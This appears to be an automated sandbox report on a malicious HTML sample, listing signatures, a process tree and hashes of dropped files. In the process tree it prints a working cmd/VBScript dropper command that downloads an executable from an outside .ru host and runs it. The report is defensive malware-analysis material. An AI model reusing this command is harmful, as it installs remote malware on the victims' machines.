Analysis

  • max time kernel
    148s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    28-05-2024 17:11

General

  • Target

    7dbbbac9fbb78f845ec55e1f3322adee_JaffaCakes118.html

  • Size

    17KB

  • MD5

    7dbbbac9fbb78f845ec55e1f3322adee

  • SHA1

    6d2cd61abcafe132115de1993275f9a74bf28032

  • SHA256

    0cc20274d3a87813b76dd6110fb33758989d6ea975a05bd46c85adca6719c547

  • SHA512

    7b06ab4c7f93312d3bf1416f23e31d26448839b1b5310a322d9f8fccdbd4023f9191ecaf955c2a9c3d88a4c83d73b0808f42430c663d5710c30ec16b3070144b

  • SSDEEP

    384:70A+e+z3FU5dHdBve+z3Fb4e+z3Fme+z3Fq:ef+fafAfA

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Modifies Internet Explorer settings 1 TTPs 36 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\Admin\AppData\Local\Temp\7dbbbac9fbb78f845ec55e1f3322adee_JaffaCakes118.html
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2916
    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2916 CREDAT:275457 /prefetch:2
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2492
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c CD %TEMP%&@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>mekrlwwC.vbs&@echo objXMLHTTP.open "GET","http://natmasla.ru/ath/sploit/natmasla.exe",false>>mekrlwwC.vbs&@echo objXMLHTTP.send()>>mekrlwwC.vbs&@echo If objXMLHTTP.Status=200 Then>>mekrlwwC.vbs&@echo Set objADOStream=CreateObject("ADODB.Stream")>>mekrlwwC.vbs&@echo objADOStream.Open>>mekrlwwC.vbs&@echo objADOStream.Type=1 >>mekrlwwC.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>mekrlwwC.vbs&@echo objADOStream.Position=0 >>mekrlwwC.vbs&@echo objADOStream.SaveToFile "%TEMP%\natmasla.exe">>mekrlwwC.vbs&@echo objADOStream.Close>>mekrlwwC.vbs&@echo Set objADOStream=Nothing>>mekrlwwC.vbs&@echo End if>>mekrlwwC.vbs&@echo Set objXMLHTTP=Nothing>>mekrlwwC.vbs&@echo Set objShell=CreateObject("WScript.Shell")>>mekrlwwC.vbs&@echo objShell.Exec("%TEMP%\natmasla.exe")>>mekrlwwC.vbs&cscript.exe %TEMP%\mekrlwwC.vbs&del %TEMP%\mekrlwwC.vbs
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2504
        • C:\Windows\SysWOW64\cscript.exe
          cscript.exe C:\Users\Admin\AppData\Local\Temp\mekrlwwC.vbs
          4⤵
          • Blocklisted process makes network request
          • Modifies system certificate store
          PID:2756

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3C428B1A3E5F57D887EC4B864FAC5DCC

    Filesize

    914B

    MD5

    e4a68ac854ac5242460afd72481b2a44

    SHA1

    df3c24f9bfd666761b268073fe06d1cc8d4f82a4

    SHA256

    cb3ccbb76031e5e0138f8dd39a23f9de47ffc35e43c1144cea27d46a5ab1cb5f

    SHA512

    5622207e1ba285f172756f6019af92ac808ed63286e24dfecc1e79873fb5d140f1ceb7133f2476e89a5f75f711f9813a9fbb8fd5287f64adfdcc53b864f9bdc5

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

    Filesize

    68KB

    MD5

    29f65ba8e88c063813cc50a4ea544e93

    SHA1

    05a7040d5c127e68c25d81cc51271ffb8bef3568

    SHA256

    1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

    SHA512

    e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

    Filesize

    1KB

    MD5

    a266bb7dcc38a562631361bbf61dd11b

    SHA1

    3b1efd3a66ea28b16697394703a72ca340a05bd5

    SHA256

    df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

    SHA512

    0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3C428B1A3E5F57D887EC4B864FAC5DCC

    Filesize

    252B

    MD5

    6e307c07885fc8e32fc7f6a5eaecb258

    SHA1

    f8815dbac2dd9c48995b7db6e22b27fd67f46281

    SHA256

    8c1555dfb13b1499fac4700b47bf8f7a9e30acd9a109ee6bfb3229e25ac3890e

    SHA512

    6268691533e1d64271ed3a6096da769dd5146d9b2f8af2fc46b7e15649c094ef8c3a8cf2360725f6a83315bb914a269f120c8c4092bf6d83cf8dde8761467206

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    c9141e82b6b6a799f1d4cc28fc60f1a4

    SHA1

    ec87ece33c485b03ac03fbcccdf7a7d03d7e608e

    SHA256

    4b8aa52725dbfcd7ce6d99eb1215306f37bdd5a3a62253c1dcaa73dc514c6213

    SHA512

    cec932b0d942c20a825a1a18fcc0ba26aab6eb1b93b7066f1867a524d56d9610dc76e020787d29539211371e2fa81c540972074952ef0dbb28a889394cfa3c23

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    ad189aebf1ddb95e8b15a55c558974f3

    SHA1

    d00ba1b0b5d08fa51c9e9e5ce3f922c4dc236156

    SHA256

    d4656650fd8c7e2e98bc039f22e76cfe3a2b250a334ca380cc99eeaff4005908

    SHA512

    a736fcee8666b4eb8c980c252c862a6297dc28fb56471f16cfdc821f266eb95000849f41fd66b58110d32d4b9ae8cc1d2e830927c41be4014ef6397bdb0de581

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    3d2585edf47e844756fbefe824fc9b93

    SHA1

    82c8340192da65ba43be5f16079345b13a4bdc0c

    SHA256

    73b541572d08cb2994010163cf22cfb82a6e72bbd00ced4f1dc15d45306de0e9

    SHA512

    f051b1b46b66930b2ac6f47ae9e6a924d20664a9982c77c3ca7fcef25c3880abd8be3a116a97474e940374898c6c7b5141e74827fdccc569d29902dd644cf0aa

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    aeba93e0bdf3e9e60292cb61cb4de901

    SHA1

    af9aeae1c85f5827efae605ac5b2f4da4f71a08c

    SHA256

    ad66be54336f6f0809a88e76d4b02e1f921c1dd4b055db99018744f283076905

    SHA512

    d950d3f8c7b986e73688b5595dc12e97c4d8662a848d7ff3d03047936ddcf9dcf5d24930dc74947930043021666386737d9962dc3aa26b2a9042c7955177a3a8

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    d6ed15d27a6e3f1649c51fc38f6a00a1

    SHA1

    92842986f15d0fe1d13e7d4883102f179072ad42

    SHA256

    7adcd4ae69c711937ac7ad117a29b199658abd36126b1b863f33177403b381c3

    SHA512

    ab667ad2a98df1002f233e9003e76d32ee14fcc2176892fdd84502987013d56c7b43fec5bd5a9ceae73f1936df86c19fd1c5d190fb878f41bea8c7442da7faec

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    2fb8ea4138f3bf61cd3b5390cec16d24

    SHA1

    655dcd2e6b4621014bf69f7deca4924ae60207f1

    SHA256

    ae883021b52b40affbcd20156703ae0ca80a9811e71ba50259d6fe6b4897f68c

    SHA512

    2110c9c4dfc7e7644a4ffdcab608c9c5b8bb09b3848e3887b9c0fb2466d4955eb10734d15ba435ef7c67f195ee60631fb72aaf8e6301055090bbac3072aa6d4c

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    9cddc51e40ed4c5e26c1e5c0db36528f

    SHA1

    26fd5cfd6ebbcd5685039044f490c2dbf316fe39

    SHA256

    a8fe4c923471ffc2eb75097cc86eb8b062149c0a213b312de769f02a73f53cec

    SHA512

    94aec0aa0c1dee7598c0e45013a402bd04f7c23d60b1f5e0c84d625a766d2700180e077a14d60b19a9c92c1d978c343fbff9d6112537dab92a488fd9dad9ef53

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    46310500532a83b73e01f40ee559ea7c

    SHA1

    12bc1469cfb72877a6d7fdaa918f8696020595b3

    SHA256

    e6250e1fd9522eb0329804fc1f7f2302ffb62b94ed2fe569f7766e6073f3abe2

    SHA512

    ed0c0d2de35db6d154cb291b74e0a864e5f00de7ac8a3634635d7ebab4d4ad9e1cd56ea0805784937ef8d1c5d2eaa6deb8a5a8ebc76e81248bb51c66776ed189

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    a5159be4398c9110db1a14c92dcf9843

    SHA1

    002048386e1000b48891a01a18ea9efd948c722e

    SHA256

    10df6e8e086d5e5c30bbb6c8c28f5a418ce97dd0925e857e6a86a501b9f0c9e8

    SHA512

    740c1d6ae0452ba07480ef1884d3849a69bd1d3108b849d40c1d92a524bf94dac9a419b1e1d7839d971942bcd776ad6551f6004bcfce23582098299f1600bbb5

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    5b10ecd825c3f50bee8112ed929e5c26

    SHA1

    fbb2ef03c7ee65354904dae6077de7b8018bb25a

    SHA256

    0b839b1be05df547ae83f8e7f79169e7a7c67e3114e805f876ad51b4dfa19453

    SHA512

    017d7f8a937d876433bd408511c884ea19aa0db906a105cc2d9c7d2036d3f5a5ddf7e5aaf11d08b6b6e4ba1f65eb5fd4bafd366c216200cbf739d20edc493943

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    8d98026c8d981d9b7907a51820a94eb5

    SHA1

    253224f1602b201a9242439226ffda8f77f3c900

    SHA256

    85537cf8706b485ccf8936e5af6bb9dc69a4db644da33cf69ae9e3a75d0a7016

    SHA512

    203b95b7c6f02ed34f294781d4c9e9e0c66821043d053feeebeda21fed041ffa0551ecabe6c0aa717f8e633e5126165cc6f0c5644e05da025abdb3ad0025a6d4

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    4f329147ff70c37d8938740fd0882722

    SHA1

    dff310f490604209c1453310afcc9609a83b9ad0

    SHA256

    448998934f776e211a5bcb1ef17ff9966a5c5ab1b473823e227d88f29dbb5181

    SHA512

    6f69ff1313019e474592d6feb2757b154ac65841240a7ef59316293e11d14652f3d4f21890b4961f2a0bdbe8b763b741841a12343e09fdbaa931a052b597d511

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    b0433c357e46884b7c56dec926694602

    SHA1

    7efb94525da21846a120d85bf7917d67d565834a

    SHA256

    18a24a5114f3eb3032fe50653fd647f14d990b2d8f30b153533903577dfc6e69

    SHA512

    c8189373276e4c88dcb83659157b389383221924c9ae6cfe42401d9ca9b64fc923a6f4b36464d42813e8dee480ac8d5d44cf3c82d350c25465b8673213e9439f

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    b4b3051a438e529767073dbd9954308d

    SHA1

    40574dd321463d80fbb853c64cf066ebd4551b40

    SHA256

    6fb9e2e23f2a290674494fea21d6fe0fd60671332e76814bc14f49596b57341e

    SHA512

    0547936819f8858c1feaed0fc4124c5c89211996f720d1572f5969e53dbdadf9bf2316cd6d257fec6951bc350f044f271ee70825cee836e2868f3dcd699b8091

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    cb59de2c84ab5b450dd167e4ec9c05fb

    SHA1

    06245fa4db612880429c509f9914eccdda0799db

    SHA256

    3b0b338c24e686daf515f44cd71b26032ddf2adbe5923e009bbe3967dabd6a12

    SHA512

    b10e517ca49a8970d7ef257511f94e21a2186b4b54e2dd8d7c8eb08a5af383ecf6845c81f967e7e7941aaf7ee2e7065f8a3441cb79f8df541d098c7134f94baa

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    13b213722a31007895bdff3cd6bf2989

    SHA1

    0717a8c9c0cfe4183e9807a4a77396b37299fb0b

    SHA256

    077074641ff317be29f7d32edd8855b6895dd816a6416c4e13a1f5c2235eb250

    SHA512

    d5f1c91231ee7b171e59f2f40aa64765e2d27059550aa73e74124e063f1ab6eb556658d6f5d48758566ccdf740c2bafc54b26fb7835778c704dc40437c4907d7

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    c4c44f2f7fb02d5c71ea8e1090bb6341

    SHA1

    00c893f66e5a2b999981abaec644a9b3201ec7a3

    SHA256

    7b69f7bf3b9835ab3642b8858d65ceb8ae1b1454c913287f1e8d08012c8da2e2

    SHA512

    36bca2a46591a5152dd62693d442fd94b42ba5de51a5c88863f2fee9128fdd0ac2ed63223d6ffac328f2bc6bd89695dd45faa6be7d6f5c0ced437d500c41b5a0

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    b7af1be0b8f05cf0dac09e9b75441dbb

    SHA1

    8b85d760fc029818b72d20e65ce17f652e41574c

    SHA256

    cc33dafa1b2e793a41e4a028cdfe31a35590c85d8fc760d277d2f099ac7d11dc

    SHA512

    6c851a7b0bcb384b075e5fd756ed371b4c4d5663af31083d097dfe014a3cda3d3d56d623526c1e02e9102316b17a80a02880ae2b03d83c122dd17823df75413d

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    e51385c0e73b7b21e6be8d36f4dffa88

    SHA1

    ed6d0e89cc67474c2e50e9178ff89b6686305986

    SHA256

    4095a555c5e3263b0405fb005f004b272b043a423674be35330ba32c729a48e3

    SHA512

    0fe0598be56844d0a5a8b160b18bf176bb8b042839a96396e734639a736cc5c49305e2390dd6e18e6a7ce036e5f6ff140f0fcce35bffb6aa76d6ff3a0e4f3413

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    109d1d8ce22642364216900c86645981

    SHA1

    04ac9981676390bba28f1fadec4e147825658d7c

    SHA256

    53c1e76efbab40f1f3ceaa1c26dcc8ca856f8908611e43d3ae030a6746dab2f3

    SHA512

    afc562b56590b4275346bebf0d45f0174f84d25aaa7bd9107befea40dbcdbe74afcc8fb8c07a91a7979374a7777a5c842e4a99d9d48673f443b035e6dcaf9773

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    6ec294e87c3b80a29948dd1074d7dee9

    SHA1

    3b8ea47a2c1eab19adc78a977675231b5ee806f7

    SHA256

    bff93d21ad6d192692823a84225d4da62816fa1523d54cf09cc303055e9ab810

    SHA512

    240185e452fbc0949a279e5608e701c525e563be7b81b55b34170e74c668f2acd9683c3bbe572fa4b27039e2fbc93d6043b21ab0b7c3310bbddbe907113b6be3

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

    Filesize

    242B

    MD5

    cf42803f600eda556880a7d87c15c3ea

    SHA1

    e512c011acf5c916d015ccfb02058db1e7b64e0a

    SHA256

    90babca5d1b7b04ff95330e16f6cecd0767bb67ab3fc8c1520dd2cda44c52c4b

    SHA512

    08a8d0e55b0377783d2be09122178e0df31418eb8cac9f5a4e6faebef72c0db543be85b8b6fde065ef534d3f712876be7b7777565dcc9e4a5909d884e20ca7f5

  • C:\Users\Admin\AppData\Local\Temp\Cab1508.tmp

    Filesize

    65KB

    MD5

    ac05d27423a85adc1622c714f2cb6184

    SHA1

    b0fe2b1abddb97837ea0195be70ab2ff14d43198

    SHA256

    c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

    SHA512

    6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

  • C:\Users\Admin\AppData\Local\Temp\Tar180D.tmp

    Filesize

    177KB

    MD5

    435a9ac180383f9fa094131b173a2f7b

    SHA1

    76944ea657a9db94f9a4bef38f88c46ed4166983

    SHA256

    67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

    SHA512

    1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

  • C:\Users\Admin\AppData\Local\Temp\mekrlwwC.vbs

    Filesize

    590B

    MD5

    56959496ff43313df107f921870bc5b3

    SHA1

    47f0164434e1408ccf3f4590650edcdea09e5e47

    SHA256

    0f2e4027c87957eba8d868f5ded4829845131c3435ddfba4575c8ef241062524

    SHA512

    2e44553c08f8e060e7b99a6da156d26b443bed244ee2b4e77e0b11dd0c4845b69b8450d158940752411d1dd5f7c997ea6c41752d71cc66b5edda5372ab502062